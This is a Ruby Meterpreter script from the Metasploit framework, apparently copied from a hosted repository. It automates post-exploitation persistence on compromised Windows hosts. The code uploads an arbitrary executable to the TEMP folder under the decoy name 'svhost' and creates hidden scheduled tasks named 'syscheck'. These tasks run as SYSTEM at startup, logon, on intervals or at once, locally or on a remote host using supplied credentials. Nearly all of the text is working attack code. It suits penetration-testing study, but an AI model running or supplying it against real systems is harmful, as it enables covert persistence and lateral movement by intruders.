Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/scripts/meterpreter/scheduleme.rb
Views: 11766
##1# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.2# If you'd like to improve this script, please try to port it as a post3# module instead. Thank you.4##5678#Meterpreter script for automating the most common scheduling tasks9#during a pentest. This script will use the schtasks command so as10#to provide future compatibility since MS will retire the AT command11#in future versions of windows. This script works with Windows XP,12#Windows 2003, Windows Vista and Windows 2008.13#Version: 0.1.214#Note: in Vista UAC must be disabled to be able to perform scheduling15#and the meterpreter must be running under the profile of local admin16#or system.17################## Variable Declarations ##################18session = client19@@exec_opts = Rex::Parser::Arguments.new(20"-h" => [ false,"Help menu." ],21"-c" => [ true,"Command to execute at the given time. If options for execution needed use double quotes"],22"-d" => [ false,"Daily." ],23"-H" => [ true,"Every specified hours 1-23."],24"-m" => [ true, "Every specified amount of minutes 1-1439"],25"-e" => [ true, "Executable or script to upload to target host, will not work with remote schedule"],26"-l" => [ false,"When a user logs on."],27"-o" => [ true,"Options for executable when upload method used"],28"-s" => [ false,"At system startup."],29"-i" => [ false,"Run command immediately and only once."],30"-r" => [ false,"Remote Schedule. Executable has to be already on remote target"],31"-u" => [ false,"Username of account with administrative privelages."],32"-p" => [ false,"Password for account provided."],33"-t" => [ true,"Remote system to schedule job."]34)35################## function declaration Declarations ##################36def usage()37print_line("Scheduleme -- provides most common scheduling types used during a pentest")38print_line("This script can upload a given executable or script and schedule it to be")39print_line("executed. All scheduled task are run as System so the Meterpreter process")40print_line("must be System or local admin for local schedules and Administrator for")41print_line("remote schedules")42print_line(@@exec_opts.usage)43end4445#---------------------------------------------------------------------------------------------------------46def scheduleme(session,schtype,cmd,tmmod,cmdopt,username,password)47execmd = ""48success = false49taskname = "syscheck#{rand(100)}"50if cmdopt != nil51cmd = "#{cmd} #{cmdopt}"52end53case schtype54when "startup"55if username == nil56execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /ru system"57else58execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /ru system /u #{username} /p #{password}"59end60when "login"61if username == nil62execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /ru system"63else64execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /ru system /u #{username} /p #{password}"65end66when "hourly"67if username == nil68execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system"69else70execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system /u #{username} /p #{password}"71end72when "daily"73if username == nil74execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system"75else76execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system /u #{username} /p #{password}"77end78when "minute"79if username == nil80execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc minute /mo #{tmmod} /ru system"81else82execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc minute /mo #{tmmod} /ru system /u #{username} /p #{password}"83end84when "now"85if username == nil86execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc once /ru system /st 00:00:00"87else88execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc once /ru system /st 00:00:00 /u #{username} /p #{password}"89end90end91print_status("Scheduling command #{cmd} to run #{schtype}.....")92r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true})93while(d = r.channel.read)94if d =~ /successfully been created/95print_status("The scheduled task has been successfully created")96if username == nil97print_status("For cleanup run schtasks /delete /tn #{taskname} /F")98else99print_status("For cleanup run schtasks /delete /tn #{taskname} /u #{username} /p #{password} /F")100end101success = true102end103end104if !success105print_status("Failed to create scheduled task!!")106elsif success && schtype == "now"107if username == nil108session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname}")109else110session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /u #{username} /p #{password}")111end112end113r.channel.close114r.close115116end117#---------------------------------------------------------------------------------------------------------118def scheduleremote(session,schtype,cmd,tmmod,cmdopt,targetsys,username,password)119execmd = ""120success = false121taskname = "syscheck#{rand(100)}"122if cmdopt != nil123cmd = "#{cmd} #{cmdopt}"124end125case schtype126when "startup"127if username == nil128execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /s #{targetsys} /ru system "129else130execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /s #{targetsys} /u #{username} /p #{password} /ru system "131end132when "login"133if username == nil134execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /s #{targetsys} /ru system "135else136execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /s #{targetsys} /u #{username} /p #{password} /ru system "137end138when "hourly"139if username == nil140execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system /s #{targetsys}"141else142execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system /s #{targetsys} /u #{username} /p #{password}"143end144when "daily"145if username == nil146execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system /s #{targetsys}"147else148execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system /s #{targetsys} /u #{username} /p #{password}"149end150when "minute"151if username == nil152execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc minute /mo #{tmmod} /ru system /s #{targetsys}"153else154execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc minute /mo #{tmmod} /ru system /s #{targetsys} /u #{username} /p #{password}"155end156when "now"157if username == nil158execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc once /ru system /s #{targetsys} /st 00:00:00"159else160execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc once /ru system /s #{targetsys} /st 00:00:00 /u #{username} /p #{password}"161end162end163print_status("Scheduling command #{cmd} to run #{schtype}.....")164r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true})165while(d = r.channel.read)166if d =~ /successfully been created/167print_status("The scheduled task has been successfully created")168print_status("For cleanup run schtasks /delete /tn #{taskname} /s #{targetsys} /u #{username} /p #{password} /F")169success = true170end171end172if !success173print_status("Failed to create scheduled task!!")174elsif success && schtype == "now"175if username == nil176session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{targetsys}")177else178session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{targetsys} /u #{username} /p #{password}")179end180end181r.channel.close182r.close183184end185#---------------------------------------------------------------------------------------------------------186187def upload(session,file)188location = session.sys.config.getenv('TEMP')189fileontrgt = "#{location}\\svhost#{rand(100)}.exe"190print_status("Uploading #{file}....")191session.fs.file.upload_file("#{fileontrgt}","#{file}")192print_status("#{file} uploaded!")193return fileontrgt194end195# Parsing of Options196cmd = nil197file = nil198schtype = ""199tmmod = ""200cmdopt = nil201helpcall = 0202remote = 0203targetsys = nil204username = nil205password = nil206@@exec_opts.parse(args) { |opt, idx, val|207case opt208209when "-c"210cmd = val211when "-e"212file = val213when "-d"214tmmod = val215schtype = "daily"216when "-H"217tmmod = val218schtype = "hourly"219when "-m"220tmmod = val221schtype = "minute"222when "-s"223schtype = "startup"224when "-l"225schtype = "login"226when "-i"227schtype = "now"228when "-o"229cmdopt = val230when "-r"231remote = 1232when "-t"233targetsys = val234when "-u"235username = val236when "-p"237password = val238when "-h"239helpcall = 1240end241242}243if client.platform == 'windows'244if helpcall == 1245usage()246elsif cmd == nil && file == nil247usage()248elsif !is_uac_enabled? and is_admin?249if file == nil250if remote == 0251scheduleme(session,schtype,cmd,tmmod,cmdopt,username,password)252else253scheduleremote(session,schtype,cmd,tmmod,cmdopt,targetsys,username,password)254end255else256cmd = upload(session,file)257scheduleme(session,schtype,cmd,tmmod,cmdopt,username,password)258end259else260print_status("Meterpreter is not running under sufficient administrative rights.")261end262else263print_error("This version of Meterpreter is not supported with this Script!")264raise Rex::Script::Completed265end266267268